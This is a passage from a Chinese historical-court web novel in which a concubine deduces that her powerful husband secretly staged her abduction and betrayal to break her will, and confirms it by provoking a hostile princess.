必须马上告诉容璟,府里混进了永嘉的人!这太危险了,他之前受伤...... 脚步刚迈出两步,却如同被钉住了一般,硬生生顿在了原地。 午后的阳光透过水榭的竹帘,在她脚前投下一道道明暗相间的条纹,晃得人眼花。 不对...... 如果那个人真是永嘉派来的细作,会如此不谨慎吗? 在码头那样关键的场合露过脸,事后竟还敢大摇大摆地留在国公府,甚至在主人面前走动? 以容璟的心机手段,和他对府邸如同铁桶一般的掌控,会任由这样一个明显的敌人潜伏至今,而不被察觉,不被清理吗? 除非......容璟根本不知道他是永嘉的人? 不!这更说不通! 容璟连姜于归每日见了什么人,说了什么话都能知道,会查不出一个低级管事的底细? 那为什么...... 一个冰冷刺骨,让姜于归瞬间血液逆流的念头,缓慢而清晰的浮出水面,如同深渊下的巨兽缓缓睁开了眼睛。 如果......这个人根本就不是永嘉公主的细作呢? 如果,他本来就是容璟的人呢? 那么,码头那夜,所谓的永嘉公主的嬷嬷和侍卫...... 姜于归猛的抬手捂住了自己的嘴,将那几乎要冲口而出的惊喘死死堵了回去。 她站在原地,只觉得头顶炎炎烈日,晒下来的却不是光热,而是无数冰针,扎得她每一个毛孔都在往外冒着寒气。 额角有冷汗细细密密的渗出来,顺着鬓角滑落,痒痒的,她却连抬手去擦的力气都没有。 为什么会这样? 为什么容璟的人,会扮成永嘉公主的手下,在码头演那样一出戏? 谢显璋......码头......永嘉公主......容璟的及时出现...... 无数碎片般的画面和声音在姜于归的脑海中疯狂旋转,碰撞,试图拼凑出一个让她不敢直视的,庞大而恐怖的轮廓。 她缓缓的,极其僵硬的重新坐回了凉榻上,指尖冰凉,甚至微微发着抖。 方才那一瞬间想要去找容璟报信的冲动,早已消散得无影无踪,取而代之的,是一种更深沉,更无处可逃的恐惧,和一种冰冷的,近乎绝望的清醒。 她需要好好想一想。 必须,好好的,冷静的,从头再想一遍。 自那日在水榭边如坠冰窟后,此后的每一日,于姜于归而言都成了无声的刑求。 姜于归表面上一切如常,她依旧安静的打理庶务,在容璟面前维持着那份日渐温顺的沉默,甚至在他偶尔的亲近时,也能勉强自己不再僵硬。 只是无人知晓,每当夜深人静,那些碎片般的疑影便会在她脑中反复拼凑,拆解,再拼凑。 容璟欢爱时执意从背后拥住她,做完便起身离去,连一个完整的拥抱都吝于给予,他曾说是怕她劳累,可她分明记得,更早之前,他并非如此。 府中那个眼熟的码头面孔,如今她已悄悄确认过,名叫赵成,是外院一个不大起眼的采办副手,入府已有五年。 五年,足够埋下一枚深钉,却也足够让容璟这样的人,将府中每一个人的底细摸得清清楚楚。 容璟不知道的可能性,微乎其微。 而将所有疑窦推向顶点的,是容璟左腹肋下那道伤,与破屋中谢显璋狰狞伤口的位置,在姜于归脑海中重叠得越来越频繁,几乎到了令她夜不能寐的地步。 夜晚再度来临,她独自躺在宽大的床榻上,望着帐顶模糊的绣纹时,关于容璟平静深沉的眉眼,和谢显璋面具后冰冷讥诮的眼睛,却总在不经意间,在她闭目昏沉的边缘,诡异的重叠,交错。 还有那两处伤口,一旧一新,一在记忆里模糊,一在传言中反复,像两张残缺的皮影,在黑暗的幕布上,试图拼凑出一个令人不寒而栗的完整图案。 姜于归翻了个身,将脸埋进柔软的锦枕。 睡意迟迟不来,只有那抓不住,理不清的疑虑,如同窗外渐起的夜雾,无声无息,弥漫开来。 三个疑点,像三根来自不同方向的丝线,在姜于归心底悄悄拧成了一股越来越紧的绳索,绳索的那一端,系着一个她不敢触碰,却又无法忽视的可怕猜想。 不能再等了,猜测只会让她在恐惧中自我消耗,她需要一个答案,一个能证实或证伪那最恐怖猜想的答案。 而答案的关键,在于永嘉公主。 若码头之事为真,谢显璋投靠永嘉为真,那么永嘉手中便握着能彻底羞辱,打击容璟的把柄。 容璟的侧夫人曾落入敌手,以永嘉的性子,绝不可能将此事按下不提。 哪怕只是为了恶心容璟,也会想办法让此事成为悬在容璟头顶的一根刺。 可这些时日,风平浪静,永嘉那边毫无动静。 这不合常理,除非......永嘉根本不知道码头发生了什么。 姜于归被这个推论激得浑身发冷。 如果永嘉不知情,那么码头那夜的公主府嬷嬷与侍卫从何而来?谢显璋的投靠又从何说起? 姜于归必须需要一个确证,一个来自永嘉公主本人的,无心的确证。 直接求见永嘉无异于自寻死路,也会立刻引来容璟的警觉,思索几日,姜于归把目光投向了太子妃沈氏。 太子妃因着小年夜“连累”她“摔伤”一事,始终怀着一份不安与示好,即便后续帮着姜于归给容璟“准备惊喜”,但这份示好依旧没有消减。 这份微妙的心理,正是可乘之隙。 姜于归以多谢之前太子妃殿下亲临探视,她感怀于心,无以为报,近日学着做了些江南时令的荷花酥,用的是妾身家乡的法子,清淡可口,最是解暑。不敢说珍奇,只是一点心意,想当面敬呈殿下,叩谢殿下关怀之恩为由,十分恭谨的向太子妃递了帖子。 姿态放得极低,理由更是滴水不漏。 答谢上位者的恩典,是恪守本分,亲手制作地方小吃呈献,是质朴用心,请求当面敬呈,是表达最大的郑重与尊敬。 任谁看了,都只会觉得这位侧夫人谨小慎微,知恩图报,一心只想在后宅安稳度日。 太子妃果然很快回了帖,言语间颇为受用,不仅爽快允了姜于归的帖子,还夸赞她有心,透着一种被尊敬和取悦的愉悦。 容璟得知姜于归递帖子求见太子妃,只抬眼看了她片刻,那目光沉静如常,辨不出情绪,目光在姜于归低垂的眉眼和恭敬的姿态上停留一瞬,仿佛在衡量这举动背后是单纯的感恩,还是别的什么。 末了,他淡淡颔首,语气是一贯的平淡:“既然准备了心意,太子妃也允了,你去一趟便是。礼数周全些,莫要失仪。” 说罢容璟顿了顿,像是随口补充,却又带着不容置疑的安排,“多带些人,早去早回。” 他允了,这在意料之中,与东宫维持良好关系,本就是他的策略之一。 姜于归垂首应下,手心却已沁出薄汗,她知道,真正的冒险,在东宫之后。 姜于归垂首应下,看似温顺的退下。 转身离开书房时,背脊却绷得笔直,直到走出那令人窒息的范围,步入回廊,被夏日的热风一扑,才察觉内里的衣衫已被冷汗微微濡湿。 面对容璟,姜于归的每一句话都需在心底滚过三遍,每一个眼神都可能被解读出十种含义。 直接向他打听永嘉的行程?不,那太危险了。 就像将最脆弱的试探,直接递到最锐利的审视之下。 他或许会答应,但那双深不见底的眼睛,必定会在她提出请求的刹那,化作最精密的刻刀,试图剖开她恭顺表皮下的每一丝颤动。 姜于归不能冒这个险。 真正的筹划,在无人注意的暗处展开。 她叫来身边一个还算伶俐,平日负责与二门外小厮传递物件的丫鬟春菱,屏退了其他人。 “春菱。” 姜于归坐在窗边,手里无意识的绞着一方帕子,眉头微蹙,声音里带着显而易见的惶惶不安:“明日我要去东宫拜见太子妃,心里头......实在没底。” 春菱小心的看着她:“夫人是担心礼仪......” “不全是。” 姜于归打断她,抬起眼,眸中盛满了真切的后怕:“我是怕......怕再遇上永嘉公主......” 春菱了然,脸上也露出同情与紧张之色。 姜于归向前倾了倾身,压低了声音,仿佛在诉说一个极大的秘密和恳求:“好春菱,你帮我想想办法,去问问外头常走动的小厮,或者......有没有相熟的门路,打听一下,永嘉公主殿下明日,或者这几日,会不会也进宫?咱们不用知道具体时辰,只消晓得她那日是否也会去......若她去,我便寻个由头,哪怕装病,也定要避开那日。我实在是......怕极了,更不敢给世子惹一丁点麻烦了。” 姜于归说得情真意切,将一个被吓破胆,只想缩回壳里保全自身的妾室形象,演绎得淋漓尽致。 尤其最后那句不敢给世子惹麻烦,更是点明了核心。 她的恐惧,源于对再次触怒容璟的恐惧。 春菱被姜于归眼中的恐惧感染,连忙点头:“夫人放心,奴婢省得,奴婢悄悄去打听,定不会张扬。” 事情就这样吩咐了下去,姜于归知道,春菱或许忠心,但在这府里,任何不寻常的打听,最终大概率都会流入容璟耳中。 而她要的,正是这个流入。 不是她主动去说,而是让容璟听到。 果然,不过半日,一种无声的反馈便已到来。 容璟那边没有任何额外的询问或指示,但春菱再次来回话时,带来的信息却格外体贴与安全。 “夫人,打听来了。永嘉公主殿下每月初一,十五上午,惯例要去大相国寺为陛下皇后,还有薛贵妃娘娘进香祈福,午后方归,雷打不动,至于平常入宫请安,并无特别定例,但明日......似乎并无公主车驾入宫的安排。” 姜于归抚着胸口,仿佛一块大石落地,对春菱露出感激又放松的浅笑:“阿弥陀佛,这就好,这就好......有劳你了。” 而无人知晓,在姜于归低垂的眼睫下,冷静的算计正在飞速运转。 朔望进香?那是公开的,排场不小的活动,并非偶遇良机。 她需要更私人,更可预测的地点。 姜于归状似无意的感叹,又带着几分好奇:“进香是大事,公主殿下真是孝心可嘉,公主殿下这般尊贵,除了进宫和进香,平日想必也有别的消遣去处吧?譬如......定制些首饰衣裳?若是知道殿下常去哪些地方,咱们日后便是出门,也好远远绕开。” 这询问合情合理,延续着避祸的主题。 春菱不疑有他,只当姜于归是被吓破了胆,力求万全,便又设法去探问了些零碎消息。 最终,一个关键的地点被拼凑出来:玲珑阁。 永嘉公主近几个月在那里定制了一顶极尽奢华,工期漫长的嵌宝头面,常会亲临查看催促,尤其是初一十五外出之后。 而明日,正是初一。 姜于归捏着帕子的手,微微收紧,心脏在胸腔里,沉重而缓慢的搏动了一下。 陷阱的饵已备好,猎物的习惯已摸清,剩下的,便是将自己,也作为一枚棋子,精准地投放到那个偶遇的棋盘格上。 从东宫出来,日头已偏西,马车辘辘行驶在喧闹的街市上。 姜于归端坐车内,背脊挺得笔直,唯有交叠置于膝上的双手,指尖无意识的微微蜷着,泄露出一丝并非因暑热而起的紧绷。 时机,地点,借口,每一个环节都已反复推敲。 永嘉公主每月初一午后雷打不动要去玲珑阁监看那头面的进度,而玲珑阁所在的朱雀大街,亦是京城最繁华的商铺汇集之地,名店林立。 姜于归的指尖轻轻拂过袖中一枚温润的旧玉环,是件早年普通的首饰,此刻却成了最合适的道具。 她掀开车帘一角,目光掠过窗外飞逝的街景,仿佛被什么吸引,随即轻声对车夫道:“且慢。” 马车应声缓下。 姜于归的声音带着几分恰到好处的随意与恍然:“方才在太子妃处,瞧见几样极别致的苏绣样子,似是云锦阁的手笔。我忽然想起,前些日子世子说我那件天水碧的夏衫颜色旧了,正想寻一匹相似的料子替换,今日既路过朱雀大街,便顺道去云锦阁看看吧。” 云锦阁,以天下绸缎精华汇聚而闻名,与专营珠宝的玲珑阁,恰好在同一条长街的两端,相隔不过百步,皆是贵胄女眷流连之所。 去云锦阁看料子,是再正当不过的理由,而路过这条权贵女眷常来的街,更是合情合理。 “是,夫人。”车夫应诺,马车调转方向,朝着朱雀大街驶去。 越是接近目的地,姜于归的心跳反而在刻意的压制下趋于一种冰冷的平稳。 恐惧依旧存在,但已被更庞大的,破釜沉舟的决心覆盖。 她需要真相,哪怕这真相会让她坠入更绝望的深渊,也比如今活在精心编织的恐怖幻境中要好。 马车在云锦阁气派的黑漆大门前停下,伙计眼尖,见马车制式不凡,立刻殷勤迎上。 姜于归扶着丫鬟的手下车,并未急于进店,而是站在门前,似是被门口悬挂的一匹流光溢彩的霞影纱吸引了目光,驻足细看。 实则,她的全部心神,都像拉满的弓弦,绷在了对街角方向的感知上。 时间点滴流逝,她耐心地听着伙计介绍料子,指尖拂过冰凉的缎面,偶尔轻声询问,心思却悬于别处。 大约一盏茶后,街口传来一阵不疾不徐却明显被肃清过的车马声响。 几辆华盖马车在侍卫的开道下,稳稳停在了不远处的玲珑阁门前。 来了。 姜于归垂下眼睫,掩去眸中一闪而过的锐光,对身边的伙计温声道:“这匹霞影纱固然好,但似乎过于艳丽了些,听闻你们阁中新到了一批杭纺,最是清爽宜人,可否取来一观?” 她边说,边自然而然的转身,仿佛要随伙计进店细看,步履移动的方向,却恰好能使她的视线,掠过云锦阁的门槛,投向对面。 玲珑阁前,侍女已打起车帘,嬷嬷小心翼翼的搀扶下一位华服女子,正是永嘉公主。 105. 第 105 章 仿佛心有灵犀,又或许是姜于归停留注视的目光引起了某种警觉,永嘉公主在踏上玲珑阁台阶前,脚步几不可察地一顿,侧头,目光如冷箭般射来。 隔着一条不宽的街道,两人的视线在空中猝然相撞。 永嘉公主显然也认出了她,嘴角处立刻勾起一个毫不掩饰的,充满厌恶与讥诮的弧度。 永嘉没有立刻进入玲珑阁,而是就站在台阶上,隔着街,用那种居高临下的,打量秽物的眼神,将姜于归从头到脚刮了一遍。 姜于归适时的流露出恰到好处的惊慌,仿佛无意间撞见煞星,仓促的垂下头,想要退入店内避开。 “站住。” 永嘉公主的声音不高,却带着惯有的命令式穿透力,清晰的传了过来。 姜于归身形一僵,只得停下脚步,转向街对面,规规矩矩地屈膝行礼,声音不大,却足够让对方听见:“妾身见过公主殿下,不知殿下在此,惊扰凤驾,请殿下恕罪。” 姜于归把姿态放得极低,甚至带着轻颤。 永嘉公主似乎很享受姜于归这副惊惶模样,并未立刻叫她起身,反而轻笑一声,那笑声里浸满了毒液:“本宫当是谁这么没眼色,原来是你!荣国公府那位深得世子爱重的姜侧夫人?怎么,今日不用在府里伺候世子,竟有空出来闲逛?荣国公府是短了你的衣裳穿,还是潜玉近日公务繁忙,顾不上你,竟让你自己跑到这街面上抛头露面,挑选布料?” 语气刻薄,每一句都精准地踩在身份和恩宠的痛处,带着惯常的敌意,是永嘉惯常羞辱她的路数,却也仅限于此。 姜于归依旧保持着行礼的姿态,肩膀甚至微微瑟缩了一下,像是不堪重负。然而,低垂的眼睫下,眸光却是一片冰冷的清明。 火候到了。 她慢慢的带着一丝仿佛强撑起来的镇定,直起身,却依旧微垂着眼,不与永嘉直视,声音却比方才清晰平稳了许多:“回殿下的话,妾身并非无故外出,今日是奉世子之命,前往东宫拜见太子妃娘娘,聆听教诲。方才从东宫出来,想起世子前日提及一匹旧料,才顺路至此,想为世子寻一匹相似的替换。” 说到这里,姜于归顿了顿,像是鼓足了勇气,才极轻的补充了一句,语气里甚至带上了点不易察觉的,因有靠山而生的微弱底气:“世子也是知晓的。” 这话巧妙,先抬出奉命和东宫这两座大山,点明她此行正当,甚至带有公务意味。 再将容璟拉出来,不是炫耀恩宠,而是暗示我的行为在他的允许乃至示意之下,最后那句也是知晓的,更是含糊的暗示容璟或许连她来云锦阁都清楚。 果然,永嘉公主的脸色瞬间阴沉了几分。 姜于归提及东宫和容璟,总是能精准的戳中永嘉的痛点。 尤其是姜于归那副我背后有人的隐晦姿态,更让她觉得刺眼。 “哦?东宫?” 永嘉冷笑,向前踱了一步,目光如刀子般刮过姜于归的脸:“沈氏倒是越来越会笼络人心了,连容潜玉身边一个侍妾都这般关照。只是,姜侧夫人——” 永嘉语气陡然转厉:“莫要以为攀上了东宫的高枝,得了容潜玉几分青眼,就忘了自己是什么身份!妾室就是妾室,上不得台面就是上不得台面!” 永嘉的攻击依旧围绕着身份,僭越,和与东宫的往来。 姜于归心念电转,光是这样还不够,永嘉的恨意还不足以让她抛出最致命的武器。 需要再添一把火,让她怒到口不择言。 姜于归再次微微抬起了头,第一次真正看向永嘉,眼中那份惶恐似乎被一点点压下,取而代之的是一种极力维持的,属于容璟女人的平静,甚至一丝极淡的,几乎看不见的困惑。 她轻轻开口,声音不大,却足以让永嘉听清:“殿下教训的是,妾身身份微末,自当谨守本分,只是妾身愚钝,只是想着,殿下万金之躯,不也在这街面之上么?殿下能为贵妃娘娘精心挑选珍品,妾身为世子寻一匹合意的料子,想来或许也并非全然不合规矩?” 这话乍听之下,像是在笨拙的辩解,甚至有点以永嘉为例为自己开脱的意味。 但细品,却隐隐将永嘉亲自逛街与自己为世子寻料划到了同一层面,暗戳戳的抹平了那道尊卑的鸿沟。 尤其是那状似无意的也字,和那双清澈又带着点不解的眼睛,简直是在永嘉最敏感的神经上跳舞。 “你——!” 永嘉果然被激怒了,美眸中瞬间燃起两簇暴怒的火焰。 她何曾被一个卑贱的侍妾如此类比过?这简直是奇耻大辱! 她胸口剧烈起伏,指着姜于归,指尖都在发颤:“好!好一张不知天高地厚的利嘴!姜于归,你以为容潜玉几回维护,有东宫一时抬举,你就真能忘了自己是个什么东西了?” 永嘉恶狠狠的盯着姜于归,仿佛想从她脸上找到恐惧,羞耻,或者任何崩溃的迹象。 她搜寻着更恶毒的话:“你这等市井出身,机缘巧合攀上高枝的婢妾,骨子里就透着不识抬举的下贱!容潜玉能护你一时,还能护你一世?东宫能抬举你一次,还能次次为你出头?等哪天他们腻了,厌了,你连这街边的一粒尘都不如!” 永嘉咒骂着,用尽一切关于出身,地位,依靠不可持的词汇,试图彻底击垮姜于归那看似脆弱的镇定。 却始终,始终没有越出那两条已知冲突的边界。 没有提任何关于失踪,逃离,被外人掳走,与外男共处的字眼。 没有一丝一毫暗示姜于归曾经脱离过容璟的掌控。 永嘉的愤怒和羞辱,完全建立在姜于归一直牢牢被容璟拴在身边,只是偶尔侥幸得到庇护这个前提上。 她恨的是容璟的维护,是姜于归仗势欺人,一个妾室也敢和她公主之尊叫嚣,很姜于归得了好处还卖乖的姿态,姜于归竟敢顶撞她的这份胆量。 姜于归的心,一点一点沉了下去,沉进一片无边无际的,冰冷的黑暗里,在最初的冰冷下沉后,突然被一股更锐利的逻辑寒意刺穿。 这不仅仅是没提那么简单。 以永嘉公主对她的憎恶,对容璟的嫉恨,若她真的掌握了那样的把柄,容璟的侧夫人不仅在他生辰宴上私自逃离,更被一个亡命之徒谢显璋掳走,囚禁多日永嘉会如何? 她绝不可能像现在这样,仅仅用身份低微这些不痛不痒的话来羞辱。 永嘉会像嗅到血腥味的鬣狗,扑上来将她撕得粉碎。 她会用最肮脏,最下作的词汇,当众质疑姜于归的清白,嘲讽容璟后院失火,连个女人都看不住,甚至是被逆贼染指过的破鞋。 名节这两个字,对任何时代的女子而言,都是悬在头顶的利剑,是比死亡更可怕的侮辱。 这不仅仅是羞辱她姜于归,更是对容璟威望和男性尊严最狠辣的打击。 永嘉绝不会放过这个一举两得的机会。 若谢显璋真的投靠了永嘉,真的将她挟持离府数日,永嘉会怎么做? 她几乎能立刻听见那恶毒的声音,在某个贵妇云集的场合,以关心或闲聊的口吻,带着淬毒的甜蜜,轻轻慢慢地散播:“哎,你们听说了吗?容世子那位心尖儿上的侧夫人,前些日子不见了呢......说是病了?可我怎的恍惚听说,是被个朝廷钦犯掳了去?好几日呢,孤男寡女的,在那些腌臜地方......啧啧,也是可怜,只是这清白名声......容世子那般人物,竟也能忍?” 更甚者,会直接变成攻讦容璟的武器:“容世子什么都好,就是这治家识人的眼光......唉,竟让个不清不白的女子留在身边,还这般宠着,岂不惹人笑话?” 永嘉绝不会放过这个机会,这比任何政敌攻击都更阴毒,更能从根子上羞辱容璟,也更能彻底的,不留余地的毁了她姜于归,让她即便活着,也永远活在唾弃与猜疑的阴影里,成为容璟身上一个永远无法擦去的污点。 她所有的攻击,完全停留在身份低微的事上,对于一件足以引发轩然大波,彻底摧毁姜于归,并让容璟颜面扫地的新闻,她表现得一无所知。 她根本不知道有这把更锋利,更肮脏的刀存在。 这只有一个解释。 永嘉根本不知道。 这个认知,像最后一块沉重的断龙石,轰然落下,把姜于归心中所有侥幸的缝隙彻底封死。 那么,所谓的挟持,所谓的码头背叛,所谓的谢显璋投靠永嘉......全都是子虚乌有,全都是精心编织,演给姜于归一个人看的戏码! 一场为了将她最后一点反抗意志,对外部世界的最后一丝幻想与期待,都彻底碾碎,磨平,让她心甘情愿,甚至感恩戴德的缩回这个黄金囚笼的,残酷无比的戏。 而能导演这场戏,能调动人马假扮公主府侍卫,能化身谢显璋,将仇恨与背叛演绎得如此真切,能让姜于归像个小丑一样,在绝望与希望之间被反复拉扯,最终信仰崩塌的人...... 只有一个。 容璟。 所有的线索,在这一刻,终于带着血腥的铁锈味,严丝合缝的拼接在了一起,露出它狰狞完整的全貌。 为什么谢显璋的恨意那么真,行动却虎头蛇尾?因为那恨意本就是容璟赋予角色的背景,戏演完了,角色自然退场。 为什么谢显璋的伤口与容璟的旧伤位置那般致命地巧合?因为那根本就是同一具身体上,新旧交叠的刑罚烙印。 为什么容璟欢爱时不敢直面她,触碰她?因为他怕姜于归摸到肋下那道属于谢显璋的,尚未痊愈的新伤。 为什么府中会有码头演员?因为那本就是容璟的手下,戏演完了,自然回到原位当差。 为什么永嘉对最致命的把柄只字不提?因为她压根不知道这把柄的存在,整个码头事件对她的势力而言,从未发生。 从头到尾,没有什么政敌陷害,没有什么亡命同盟,没有什么艰难抉择与侥幸逃生。 只有一个猎人,为了驯服一只不听话的雀鸟,亲手为它搭建了一个遍布猛兽陷阱与虚假希望的森林,看着它在里面惊恐撞伤,被“同伴”背叛推入悬崖,然后,在它最绝望,最奄奄一息的时刻,以唯一救世主的姿态从天而降,将它带回“安全”的笼中。 还要让其觉得,这笼子外皆是豺狼虎豹,唯有笼内是他的恩赐与庇护。 甚至,要让其为自己曾想逃离这庇护而感到羞愧与后怕。 难怪......难怪那一次的逃离那么顺利,因为这一切,都是容璟有意而为之! 好深的算计。 好毒的手段。 好一个算无遗策,掌控人心的——容潜玉。 不知何时,永嘉似乎也骂得乏了,或是觉得在街市上与一个侍妾纠缠太过失身份,有损她公主的威仪。 她看着姜于归那逐渐苍白却依旧挺直的背影,最终只是从牙缝里挤出一句冰冷至极的警告:“姜于归,你给本宫记好了,山鸡永远变不了凤凰。本宫且看着,你能得意到几时!” 说罢,她猛的一甩衣袖,仿佛拂去什么令人作呕的秽物,转身,带着一身未曾消散的怒气,快步走进了玲珑阁。 厚重的锦缎门帘在她身后重重落下,发出沉闷的声响,彻底隔绝了内外两个世界。 街对面的伙计和路过的行人早已吓得噤若寒蝉,远远避开。 姜于归静静的站在原地,望着那犹在晃动的门帘,半晌,才极轻极缓的吁出了一口气。 那气息悠长,冰凉,仿佛带走了胸腔里最后一点属于侥幸的温度,也吹散了长久以来笼罩在心头的,关于外部虎狼的最后一片迷障。 阳光刺目的照在朱雀大街上,车马喧嚣,人声鼎沸。 可她站在这里,却感觉前所未有的孤独,也前所未有的清醒。 回府的马车上,姜于归安静地靠着车壁,面色平静,甚至比去时更显得温顺柔和。 只有她自己知道,那平静的皮囊下,是何种天翻地覆的崩塌,与何种渗入骨髓的寒冷。 不是因为愤怒,甚至不是因为恐惧,而是一种后知后觉,毛骨悚然的战栗。 姜于归甚至没有太大的情绪波动,剧烈的震撼之后,是一种极致的,虚无的平静,仿佛灵魂被抽离,冷眼旁观着这具躯壳所经历的一切荒诞。 她曾以为的深渊,原来只是猎人布下的,用以测量她恐惧深度的幻境。 她曾紧紧抓住,甚至产生可悲依赖的浮木,才是将她拖向真正无底漩涡的,伪装的毒蛇。 以往所有的恐惧,挣扎,妥协,乃至那一丝在绝境中滋生的,连自己都鄙夷的依赖,此刻都成了最辛辣的讽刺,狠狠反噬回来,嘲笑着姜于归的天真。 她的愚蠢,她竟曾有那么一瞬间,觉得这里安全。 马车驶入荣国公府熟悉的角门。 朱门厚重,庭院深深,囚笼依旧,灯火依旧,甚至那笼壁上反射的光泽,都因她此刻的清醒而显得更加冰冷刺目。 只是笼中的鸟,终于在无数次鲜血淋漓的撞壁之后,凭借最后一点未被磨灭的灵智,看清了铸造这笼子的每一根铁栏,原来都淬着同一种名为容璟的,无色无味的剧毒。 知道了真相,并不代表能逃脱,只会让姜于归的心性更加坚定。 这笼子比想象中更加坚固,看守者比想象中更加可怕。 但至少,她知道了自己面对的是什么。 知道了每一次呼吸的空气里,可能都混杂着谎言的味道。 知道了每一个看似温情的眼神背后,可能都在进行着精密的算计。 从今往后,每一步,都是在真正的刀尖上行走,而那个执刀的人,或许正站在不远处的阴影里,微笑着欣赏她每一步的谨慎与颤栗,等待着她最终彻底放弃挣扎,将最脆弱的脖颈,心甘情愿的送入他早已准备好的,华美而舒适的锁扣之中。 马车停下,秋实掀开车帘,低声唤道:“夫人,到了。” 姜于归仿佛从一场漫长的梦魇中惊醒,指尖几不可察的颤了一下。 她整理了一下毫无褶皱的衣袖,抚平裙摆上根本不存在的灰尘,然后,脸上缓缓的绽开一个无懈可击的,足以骗过这府中所有人,尤其是那位至高无上的看守者的柔软笑容。 唇角上扬的弧度,眼睫低垂的温驯,每一寸肌肉的调动,都恰到好处,如同经过千百次的演练。 戏还在继续,而且必须继续。 只不过,从这一刻起,看戏的人,和演戏的人,或许该......换一换了。 至少在她心里,已经换过了。 姜于归扶着秋实的手,姿态优雅的下了马车,踏着熟悉的青石板路,走向那灯火通明,却比任何黑夜都更令人窒息的主屋。 姜于归踏进主屋时,容璟正倚在窗边的紫檀榻上看一卷书,烛光将他侧脸的线条镀上一层温润的暖色,听见脚步声,他抬眼望来,目光沉静如水,仿佛只是寻常一日的寻常归来。 他放下书卷,语气平淡:“回来了?此行可还顺遂?” 姜于归按捺住心头那片冰冷的清明,垂下眼睫,唇角弯起一个恰到好处的,带着几分疲惫又满足的弧度:“嗯,太子妃殿下很是和善,还赏了妾身一对南珠耳珰。” 姜于归说着走上前,自然而然的替容璟斟了一盏温茶,指尖稳定,连最细微的颤抖都没有。 容璟接过茶盏,指尖不经意般掠过姜于归的手背,温热的触感却让姜于归心底寒意更甚。 他低头饮了一口茶,目光并未离开她的脸,似在欣赏,又似在评估。 容璟再次开口,声音听不出喜怒:“今日出去一趟,气色倒是好了些。” 姜于归背脊微微僵直,她几乎能感觉到容璟那平静目光下冰冷的审视。 自那次她借着被挟持的名义逃亡失败,又被谢显璋追杀的事后,她就再没敢主动提过要出府。 外头有恨不得取她性命的仇敌,里头又有她撒下的弥天大谎,若被容璟察觉她所谓被挟持全是脱身的借口,后果不堪设想。 即便后来容璟重新将府中庶务交还,姜于归也只敢在宅院范围内周旋,从不敢流露出半点想出门的意愿,生怕勾起他一丝怀疑。 可如今不同了。 如今她知道了,根本没有什么谢显璋,也没有什么亡命之徒的追杀,从她自以为是的逃出府门那一刻起,脚下的每一步,遇见的每一个人,经历的每一次背叛和绝境,都落在容璟精心铺排的剧本里。 原来姜于归最恐惧被他发现的真相,他早就一清二楚,甚至亲手导演。 当最大的恐惧被证实不过是猎人布下的幻影,心底那根紧绷到极致的弦,反而奇异地松了下来。 所以此刻,姜于归能迎着容璟审视的目光,微微垂下眼,唇边甚至泛起一丝恰到好处的浅笑:“许是见了太子妃殿下,心里头安稳,精神便好了些。” 姜于归的声音温软,姿态顺从,每一寸神情都合乎一个历经磨难后终于学会依靠夫君,安分守己的侧夫人该有的模样。 因为姜于归知道,这才是容姜最想看到的完美。 容璟不置可否,只将茶盏搁下,重新拿起书卷,仿佛方才的对话只是随口闲谈。 接下来的几日,姜于归表现得愈发恭顺周到。 她将府中庶务打理得井井有条,甚至主动提出为容璟生辰时未能尽兴补办一场小宴,她在容璟面前低眉顺眼,偶尔流露的依赖和关切也拿捏得恰到好处,仿佛经过容璟安排挫折教育后,真的认了命,将全部心神寄托于这方寸之间的安稳。 姜于归知道容璟在观察她。 有时她能感受到那道沉静的视线落在背上,如同冰冷的蛛丝,无声缠绕。 秋实和素馨的伺候更加小心翼翼,连院外洒扫的仆役,眼神都似乎多了几分窥探的意味。 这是一种无声的警告,一个精心编织的牢笼。 姜于归按兵不动,只在心底冰冷的筹划。 她比谁都清楚,经过第一次成功的逃离,容璟对姜于归的信任便已化为齑粉,否则,何来那场将人心玩弄于股掌的第二次机会? 那不是机会,那是绞索,是量体裁衣的刑具,只为了测量姜于归反抗的极限,再将那点妄念彻底碾碎。 如今,这重新交到姜于归手中的庶务,既是安抚,更是饵食,是一座更为精致的观察笼。 容璟在等,等姜于归按捺不住,再次露出破绽,再次试图利用这点权力去触碰边界。 然后呢? 姜于归指尖在账册光滑的页面上轻轻划过。 然后,容璟会微笑着收起所有的耐心与伪装的宽容,新账旧账一起清算,到那时等待姜于归的,绝不会是上一次那带着冰冷计算的挫折,而是彻彻底底的,毫不留情的毁灭。 或许是她无法想象的囚禁,或许是她再也承受不起的代价。 所以,逃? 这个念头在心底浮起,却已不再有之前的焦灼与冲动。 姜于归将它轻轻按住,眼下时机不对,准备不足,便是自寻死路。 容璟布下的网只会一次比一次细密,一次比一次致命。 下一次,她必须有万全之策,必须能彻底消失在容璟的掌控之外,否则,不如不动。 姜于归垂下眼睫,目光落在账册清晰的墨字上,神色温顺而专注。 动不如静,争不如让。 姜于归需要时间,需要绝对的耐心,像一个真正的潜藏者,将所有的锋利与意图深深埋入心底最暗的角落。 她要让容璟看到他想看到的,一个被彻底驯服,安于囚笼,只知仰赖他鼻息生存的影子。 而在这完美的表象之下,她会如蛰伏的蛇,冰冷的观察,谨慎的收集每一丝可能有用的信息,等待那个真正属于她的,或许极其渺茫的时机。 在那之前,她什么都不会做。 除了,演好这场名为认命的戏。 她以为自己足够谨慎,却忘了对手是容璟。 一个能在朝堂与后宫倾轧中步步为营,将真情与假意玩弄于股掌之间的人,最擅长的便是从完美的表象里,嗅出一丝不和谐的气息。 容璟的确察觉了异常。 姜于归的乖顺无可挑剔,甚至比挫折教育后那段时间更加自然流畅,可正是这种流畅太过于顺畅,那份劫后余生之人该有的细微的惊悸与不确定平静的太快。 像一出排练过无数次的戏,每一个眼神,每一句应答都严丝合缝,反而失了姜于归回来后,容璟察觉的那细微的真实。 容璟开始不动声色地调查,先从姜于归最近接触的人和事查起。 赵成那个低级采办副手的名字,很快被呈到容璟案头。 看着长风查来的,关于赵成曾在码头公主府侍卫中露过脸的记录,容璟眼底掠过一丝极淡的,意料之中的幽光。 随后,便是春菱那日受命打听永嘉公主行踪的始末,也被原原本本地还原出来。 姜于归那番害怕冲撞永嘉的说辞,在容璟听来合情合理,甚至带着她一贯的胆小与谨慎。 但结合她随后恰巧路过朱雀大街,与永嘉偶遇的经过,这谨慎就变成了精心策划的试探。 容璟甚至拿到了当日姜于归与永嘉在街头的对话详录。 当看到永嘉从头至尾只围绕身份尊卑,容璟庇护,东宫关系进行攻击,对挟持,失踪,谢显璋等只字未提时,容璟几乎能想象出姜于归当时心中那一片冰冷沉落的死寂。 原来如此。 